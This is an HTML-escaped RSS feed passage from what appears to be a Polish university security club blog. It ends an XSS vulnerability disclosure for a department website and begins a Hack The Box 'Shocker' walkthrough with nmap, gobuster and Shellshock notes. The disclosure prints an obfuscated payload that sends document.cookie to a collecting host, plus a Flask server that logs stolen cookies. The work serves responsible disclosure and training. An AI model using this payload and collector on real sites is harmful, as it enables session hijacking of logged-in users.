&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;ol start="2">
&lt;li>Kod przekształcony do formy umożliwiającej atak XSS:&lt;/li>
&lt;/ol>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">img&lt;/span> &lt;span class="na">src&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">1&lt;/span> &lt;span class="na">onerror&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;eval(atob(&amp;#39;YyA9IGJ0b2EoZG9jdW1lbnQuY29va2llKTsKd2luZG93LmxvY2F0aW9uPSdodHRwOi8vbG9jYWxob3N0LycrYzs=&amp;#39;))&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Wklejamy kod w wyszukiwarkę, klikamy lupę i zostajemy przekierowani na stronę przestępcy. Wystarczy, aby po drugiej stronie czekała dokładna kopia strony Katedry lub ponowne przekierowanie i ofiara mogłaby nawet nie zauważyć zmiany. Przykładowy kod serwera w języku Python:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">flask&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">Flask&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">redirect&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">app&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Flask&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="vm">__name__&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@app.route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/&amp;lt;path:path&amp;gt;&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">index&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;Cookie: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">redirect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;http://www.ipee.pwr.wroc.pl/&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;__main__&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">app&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">run&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">port&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">80&lt;/span>&lt;span class="p">)&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Tym sposobem uzyskujemy prosty atak, którego wynik przedstawiłem poniżej. Użytkownik zostaje w praktycznie niewidoczny sposób przekierowany na oryginalną stronę, a w konsoli atakującego pojawia się ciasteczko. Zakładając, że dana osoba była aktualnie zalogowana, jesteśmy teraz w posiadaniu identycznych uprawnień.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./redirect.gif">&lt;img loading="lazy" src="./redirect.gif" alt="Quick redirect">&lt;/a>
&lt;figcaption>Proste, ale skuteczne przekierowanie&lt;/figcaption>
&lt;/figure>
&lt;figure class="align-center">
&lt;a href="./console-cookie.png">&lt;img loading="lazy" src="./console-cookie.png" alt="Ciasteczko w konsoli">&lt;/a>
&lt;figcaption>Wartość cookie na konsoli atakującego&lt;/figcaption>
&lt;/figure>
&lt;h3>Co dalej?&lt;span class="hx:absolute hx:-mt-20" id="co-dalej">&lt;/span>
&lt;a href="#co-dalej" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Błąd został przez nas zgłoszony do Katedry będącej operatorem danej strony zgodnie z zasadą odpowiedzialnego ujawniania podatności (responsible disclosure). Cały proces przedstawiłem poniżej:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>17.05.2021&lt;/strong> - błąd zidentifykowany na stronie Katedry&lt;/li>
&lt;li>&lt;strong>18.05.2021&lt;/strong> - stworzenie Proof of Concept (przykład wykorzystania błędu)&lt;/li>
&lt;li>&lt;strong>18.05.2021&lt;/strong> - zgłoszenie błędu do administracji Wydziału Elektrycznego&lt;/li>
&lt;li>&lt;strong>18.05.2021&lt;/strong> - zgłoszenie przekazane do Katedry&lt;/li>
&lt;li>&lt;strong>19.05.2021&lt;/strong> - wyłączenie strony z użytku&lt;/li>
&lt;li>&lt;strong>01.06.2021&lt;/strong> - otrzymanie oficjalnej zgody na publikację artykułu&lt;/li>
&lt;/ul>
&lt;p>Z ciekawości zweryfikowaliśmy inne strony politechniczne i ten sam błąd zidentyfikowaliśmy również na stronie Katedry Energoelektryki:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>18.05.2021&lt;/strong> - błąd zidentifykowany na stronie Katedry&lt;/li>
&lt;li>&lt;strong>18.05.2021&lt;/strong> - zgłoszenie błędu do administracji Wydziału Elektrycznego&lt;/li>
&lt;li>&lt;strong>18.05.2021&lt;/strong> - zgłoszenie przekazane do Katedry&lt;/li>
&lt;li>&lt;strong>19.05.2021&lt;/strong> - wyłączenie strony z użytku&lt;/li>
&lt;li>&lt;strong>01.06.2021&lt;/strong> - otrzymanie oficjalnej zgody na publikację artykułu&lt;/li>
&lt;/ul>
&lt;h2>A co jeśli ja też coś znalazłem/-łam?&lt;span class="hx:absolute hx:-mt-20" id="a-co-jeśli-ja-też-coś-znalazłem-łam">&lt;/span>
&lt;a href="#a-co-je%c5%9bli-ja-te%c5%bc-co%c5%9b-znalaz%c5%82em-%c5%82am" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Specjalnie w tym celu przygotowaliśmy &lt;a href="https://whitehats.pwr.edu.pl/almostbugbounty/">odpowiednią stronę&lt;/a>, na której można sprawdzić, co należy zrobić w momencie znalezienia błędu na stronach uczelnianych.&lt;/p></description></item><item><title>Droga do OSCP 2</title><link>https://whitehats.pwr.edu.pl/blog/2021-05-20-droga-do-oscp-2/</link><pubDate>Thu, 20 May 2021 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2021-05-20-droga-do-oscp-2/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2021-05-20-droga-do-oscp-2/shocker-background_hu_2b823a6777f84908.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>W drugim artykule z tej serii, pod lupę biorę maszynę z portalu Hack The Box o nazwie &lt;code>Shocker&lt;/code>.&lt;/p>
&lt;p>Jeśli chcesz poznać szczegóły dotyczące wykorzystywanej przeze mnie terminologii lub nie znasz znaczenia nieopisanych przeze mnie poleceń to zapraszam do lektury &lt;a href="https://whitehats.pwr.edu.pl/ctf/droga-do-oscp-1/"target="_blank" rel="noopener">pierwszego artykułu&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> z tej serii
{: .notice&amp;ndash;info}&lt;/p>
&lt;h2>Szczegóły boxa&lt;span class="hx:absolute hx:-mt-20" id="szczegóły-boxa">&lt;/span>
&lt;a href="#szczeg%c3%b3%c5%82y-boxa" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;table>
&lt;thead>
&lt;tr>
&lt;th style="text-align: center">&lt;strong>Nazwa&lt;/strong>&lt;/th>
&lt;th style="text-align: center">&lt;strong>Status&lt;/strong>&lt;/th>
&lt;th style="text-align: center">&lt;strong>Trudność&lt;/strong>&lt;/th>
&lt;th style="text-align: center">&lt;strong>IP&lt;/strong>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td style="text-align: center">Shocker&lt;/td>
&lt;td style="text-align: center">retired&lt;/td>
&lt;td style="text-align: center">3.6/10&lt;/td>
&lt;td style="text-align: center">10.10.10.56&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2>Write-up&lt;span class="hx:absolute hx:-mt-20" id="write-up">&lt;/span>
&lt;a href="#write-up" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Analizę rozpoczynam tradycyjnie - od skanu narzędziem nmap.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> nmap -sC -sV -oA nmap/nmap-enumerate 10.10.10.56
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> sudo nmap -p- --min-parallelism &lt;span class="m">100&lt;/span> -sS -sU --min-rate &lt;span class="m">5000&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>&lt;span class="go"> -oN nmap/nmap-all 10.10.10.56
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Po skanie można zauważyć. że otwarte są tylko 2 porty:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th style="text-align: center">&lt;strong>Port&lt;/strong>&lt;/th>
&lt;th style="text-align: center">&lt;strong>Usługa&lt;/strong>&lt;/th>
&lt;th style="text-align: center">&lt;strong>Wersja&lt;/strong>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td style="text-align: center">2222&lt;/td>
&lt;td style="text-align: center">SSH&lt;/td>
&lt;td style="text-align: center">OpenSSH 7.2p2 Ubuntu 4ubuntu2.2&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">80&lt;/td>
&lt;td style="text-align: center">http&lt;/td>
&lt;td style="text-align: center">Apache httpd 2.4.18 (Ubuntu)&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>Z odpowiedzi obu usług można wysunąć wniosek, że systemem bazowym jest Ubuntu. Protokół SSH w tej wersji nie posiada znacznych podatności, które w łatwy sposób umożliwiłyby przedostanie się do maszyny, więc skupiam się na porcie 80. Narzędzie &lt;code>searchsploit&lt;/code> również nie znajduje żadnych ciekawych błędów w odkrytych usługach.&lt;/p>
&lt;h3>HTTP&lt;span class="hx:absolute hx:-mt-20" id="http">&lt;/span>
&lt;a href="#http" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Na stronie startowej po portem 80 znajduje się bardzo prosta strona z grafiką:&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./http-main-dontbugme.png" alt="Strona startowa">
&lt;/figure>
&lt;p>Jako, że w kodzie strony (&lt;em>podpowiedź&lt;/em> - kombinacja klawiszy &lt;strong>CTRL&lt;/strong>-&lt;strong>U&lt;/strong> na klawiaturze) nie ma nic ciekawego, rozpoczynam skanowanie podstron narzędziem &lt;code>gobuster&lt;/code>.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://10.10.10.56 -x &lt;span class="s2">&amp;#34;txt,html,php,asp,aspx,jsp,pl,sh&amp;#34;&lt;/span> -s &lt;span class="s2">&amp;#34;200,201,202,203,204,302,301&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Wykorzystane parametry:&lt;/p>
&lt;ul>
&lt;li>&lt;code>-w&lt;/code> - ścieżka do słownika&lt;/li>
&lt;li>&lt;code>-u&lt;/code> - URL danej usługi&lt;/li>
&lt;li>&lt;code>-x&lt;/code> - wyszukuj również ścieżki zakończone podanymi rozszerzeniami (np. &lt;code>index.html&lt;/code> i &lt;code>index.php&lt;/code>)&lt;/li>
&lt;li>&lt;code>-s&lt;/code> - akceptowalne kody odpowiedzi HTTP&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Słowniki&lt;/strong> (czyli tzw. wordlisty) są domyślnie pobrane na Kali Linuxie, ale jeśli jednak nie masz tego wykorzystywanego przeze mnie, to znaleźć go możesz w pakiecie &lt;a href="https://github.com/danielmiessler/SecLists"target="_blank" rel="noopener">SecLists&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>
{: .notice&amp;ndash;info}&lt;/p>
&lt;p>Wynik polecenia &lt;code>gobuster&lt;/code> jest następujący:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">===============================================================
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Gobuster v3.0.1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@_FireFart_)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">===============================================================
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[+] Url: http://10.10.10.56
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[+] Threads: 10
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[+] Status codes: 200,201,202,203,204,301,302,403
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[+] User Agent: gobuster/3.0.1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[+] Timeout: 10s
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">===============================================================
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">===============================================================
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">...
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">...
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">/cgi-bin/ (Status: 403)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">/index.html (Status: 200)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">/server-status (Status: 403)
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>W oczy automatycznie rzuca się ścieżka &lt;code>/cgi-bin/&lt;/code>. Biorąc pod uwage, że jest to serwer Apache, &lt;code>cgi-bin&lt;/code> jest dostępne, a nazwa boxa to &lt;code>Shocker&lt;/code> to w grę wchodzi podatność &lt;strong>shell-shock&lt;/strong>. W skrócie polega ona na zdalnym wykonaniu kodu poprzez nieprawidłowe interpretowanie zmiennych środowiskowych w bashu.&lt;/p>
&lt;p>W bardzo przystepny sposób podatność ta została przedstawiona w &lt;a href="https://web.archive.org/web/20210319204908/https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf"target="_blank" rel="noopener">prezentacji&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, którą można znaleźć na stronach organizacji OWASP
{: .notice&amp;ndash;info}&lt;/p>
&lt;p>Jedyne co teraz potrzebujemy to jakikolwiek podatny endpoint. Najprościej jest wykonać ponownie polecenie &lt;code>gobuster&lt;/code> dodając suffix &lt;code>/cgi-bin&lt;/code> do adresu.&lt;/p>
&lt;p>&lt;strong>Endpoint&lt;/strong> - ścieżka w adresie URL (np. &lt;code>/cgi-bin/&lt;/code>)
{: .notice&amp;ndash;info}&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://10.10.10.56/cgi-bin -x &lt;span class="s2">&amp;#34;txt,html,php,asp,aspx,jsp,pl,sh&amp;#34;&lt;/span> -s &lt;span class="s2">&amp;#34;200,201,202,203,204,302,301&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">===============================================================
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Gobuster v3.0.1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@_FireFart_)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">===============================================================
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[+] Url: http://10.10.10.56/cgi-bin/
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[+] Threads: 10
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[+] Status codes: 200,201,202,203,204,301,302,403
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[+] User Agent: gobuster/3.0.1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[+] Extensions: pl,sh,txt,html,php,asp,aspx,jsp
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[+] Timeout: 10s
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">===============================================================
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">===============================================================
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">/.hta (Status: 403)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">/.hta.pl (Status: 403)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">/.hta.sh (Status: 403)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">/.hta.txt (Status: 403)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">...
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">...
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">/user.sh (Status: 200)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">===============================================================
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Udało się znaleźć plik &lt;code>user.sh&lt;/code>.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./http-usersh.png" alt="Strona startowa">
&lt;/figure>
&lt;p>Aby przetestować znaleziony endpoint pod kątem podatności &lt;code>shellshock&lt;/code> wykorzystany zostanie odpowiedni skrypt NSE nmapa:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> locate nse &lt;span class="p">|&lt;/span> grep shell
